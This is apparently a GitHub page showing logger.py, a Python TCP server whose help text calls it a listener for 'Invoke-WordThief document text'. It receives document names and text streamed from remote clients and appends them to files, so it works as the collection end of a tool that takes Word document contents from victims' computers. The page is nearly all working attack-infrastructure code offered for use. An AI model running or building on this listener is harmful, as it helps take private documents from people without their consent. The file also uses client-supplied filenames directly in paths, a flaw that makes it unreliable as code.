-
Notifications
You must be signed in to change notification settings - Fork 9
/
logger.py
66 lines (48 loc) · 1.91 KB
/
logger.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import socket
from _thread import *
import threading
import argparse
max_msg_size = 1024
# thread function
def threaded(c,log_dir):
# get client's ip
client = c.getpeername()[0]
# get doc name
filename = c.recv(max_msg_size).decode('utf-8')
with open(f'{log_dir}/{filename}', 'ab+') as log_file:
print(f'{client} - {filename} has been opened, writing text to "{log_dir}/{filename}"')
# write head title (date and file name)
log_file.write(c.recv(max_msg_size))
while True:
try:
data = c.recv(max_msg_size)
log_file.write(data)
log_file.flush()
except socket.error:
print(f"{client} - {filename} has been closed")
def Main(args):
port = args.lport
bind = args.bind
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('', port))
# put the socket into listening mode
s.listen()
print(f'Listening for documents... ({bind}:{port})')
# a forever loop until client wants to exit
while True:
# establish connection with client
c, addr = s.accept()
# Start a new thread and return its identifier
start_new_thread(threaded, (c,args.log_dir))
s.close()
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='TCP Listener for Invoke-WordThief document text')
parser.add_argument('-o', '-d', '--log_dir', type=str, help='Full path of log directory.', default='/tmp')
parser.add_argument('-p', '-l', '--lport', type=int, help='Listening port of log server', default=8888)
parser.add_argument('-b', '--bind', type=str, help='Bind address to listen to', default='0.0.0.0')
args = parser.parse_args()
try:
Main(args)
except KeyboardInterrupt:
print('[-]')